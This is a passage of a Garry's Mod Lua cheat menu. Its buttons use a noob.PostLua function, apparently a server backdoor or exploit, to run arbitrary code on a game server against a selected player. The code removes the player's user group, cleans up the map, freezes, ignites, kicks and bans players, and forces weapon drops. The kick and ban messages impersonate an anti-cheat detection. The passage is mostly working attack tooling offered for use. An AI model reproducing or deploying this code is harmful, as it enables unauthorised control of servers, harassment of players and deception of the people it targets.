1703 rebug.AddButton("Remove User", Bar3, function()
1704 surface.PlaySound("buttons/button18.wav")
1705 noob.PostLua([[Player(]] .. selPly .. [[):SetUserGroup("user"))]])
1706 end)
1707
1708 rebug.AddButton("Remove Props", Bar3, function()
1709 surface.PlaySound("buttons/button18.wav")
1710 noob.PostLua([[game.CleanUpMap(]] .. selPly .. [[)]])
1711 end)
1712
1713 rebug.AddButton("Enable Godmode", Bar3, function()
1714 surface.PlaySound("buttons/button18.wav")
1715 noob.PostLua([[Player(]] .. selPly .. [[):GodEnable()]])
1716 end)
1717
1718 rebug.AddButton("Disable Godmode", Bar3, function()
1719 surface.PlaySound("buttons/button18.wav")
1720 noob.PostLua([[Player(]] .. selPly .. [[):GodDisable()]])
1721 end)
1722
1723 rebug.AddButton("Kick Player", Bar3, function()
1724 surface.PlaySound("buttons/button18.wav")
1725 noob.PostLua([[Player(]] .. selPly .. [[):Kick("[CAC] Truth Engineering")]])
1726 end)
1727
1728 rebug.AddButton("Ban Player", Bar3, function()
1729 surface.PlaySound("buttons/button18.wav")
1730 noob.PostLua([[Player(]] .. selPly .. [[):Ban("[CAC] Kone dll Detected!")]])
1731 end)
1732
1733 rebug.AddButton("Freeze Player", Bar3, function()
1734 surface.PlaySound("buttons/button18.wav")
1735 noob.PostLua([[Player(]] .. selPly .. [[):Freeze(true)]])
1736 end)
1737
1738 rebug.AddButton("UnFreeze Player", Bar3, function()
1739 surface.PlaySound("buttons/button18.wav")
1740 noob.PostLua([[Player(]] .. selPly .. [[):Freeze(false)]])
1741 end)
1742
1743 rebug.AddButton("Ignite Player", Bar3, function()
1744 surface.PlaySound("buttons/button18.wav")
1745 noob.PostLua([[Player(]] .. selPly .. [[):Ignite(30,40)]])
1746 end)
1747
1748 rebug.AddButton("Drop Weapon", Bar3, function()
1749 surface.PlaySound("buttons/button18.wav")
1750 noob.PostLua([[Player(]] .. selPly .. [[):DropWeapon(Player(]] .. selPly .. [[):GetActiveWeapon())]])
1751 end)
1752
1753--[[-------------------------------------------------------------------------------------
1754Panels 4 : Player List
1755----------------------------------------------------------------------------------------]]
1756 local targeting = vgui.Create("DLabel", VoidPlate)
1757 targeting:SetFont("Trebuchet18")
1758 targeting:SetText("No Player Selected")
1759 targeting:SetTextColor(Color(255, 255, 255))
1760 targeting:SetPos(695, 663)
1761 targeting:SizeToContents()
1762 local List4 = vgui.Create("DPanelList", VoidPlate)
1763 List4:SetPos(693, 155)
1764 List4:SetSize(180, 502)
1765 List4:SetPadding(2)
1766 List4:SetSpacing(2)
1767 List4:EnableHorizontal(false)
1768 List4:EnableVerticalScrollbar(true)
1769 List4:SetName("")
1770
1771 List4.Paint = function(self, w, h)
1772 surface.SetDrawColor(Color(30, 30, 30))
1773 surface.DrawRect(0, 0, w, h)
1774 surface.SetDrawColor(21, 21, 21)
1775 surface.SetMaterial(upgrad)
1776 surface.SetDrawColor(o_color2)
1777 surface.SetMaterial(downgrad)
1778 surface.SetDrawColor(o_color2)
1779 surface.SetDrawColor(21, 21, 21, 255)
1780 surface.DrawOutlinedRect(0, 0, w, h)
1781 end
1782
1783 local item4 = vgui.Create("DPanelList", List4)
1784 item4:SetPos(5, 8)
1785 item4:SetSize(170, 486)
1786 item4:SetPadding(2)
1787 item4:SetSpacing(2)
1788 item4:EnableHorizontal(false)
1789 item4:EnableVerticalScrollbar(true)
1790 item4:SetName("")
1791
1792 item4.Paint = function(self, w, h)
1793 surface.SetDrawColor(Color(30, 30, 30))
1794 surface.DrawRect(0, 0, w, h)
1795 surface.SetDrawColor(21, 21, 21)
1796 surface.SetDrawColor(35, 35, 35, 0)
1797 surface.DrawOutlinedRect(0, 0, w, h)
1798 end
1799
1800 local Bar4 = vgui.Create("DScrollPanel", item4)
1801 Bar4:Dock(FILL)
1802 local sBar4 = Bar4:GetVBar()
1803
1804 function sBar4:Paint()
1805 end
1806
1807 function sBar4.btnUp:Paint()
1808 end
1809
1810 function sBar4.btnDown:Paint()
1811 end
1812
1813 function sBar4.btnGrip:Paint()
1814 end
1815
1816 for k, v in pairs(player.GetAll()) do
1817 rebug.AddButton(v:Name(), Bar4, function()
1818 selPly = v:UserID()
1819 targeting:SetText("Selected: " .. Player(selPly):Name())
1820 end)
1821 end
1822
1823--[[-------------------------------------------------------------------------------------
1824Menu Close Function
1825----------------------------------------------------------------------------------------]]
1826 function CloseMenu()
1827 MenuOpen = false
1828 Void:Close()
1829 end
1830end
1831
1832rebug.voidz(true) end )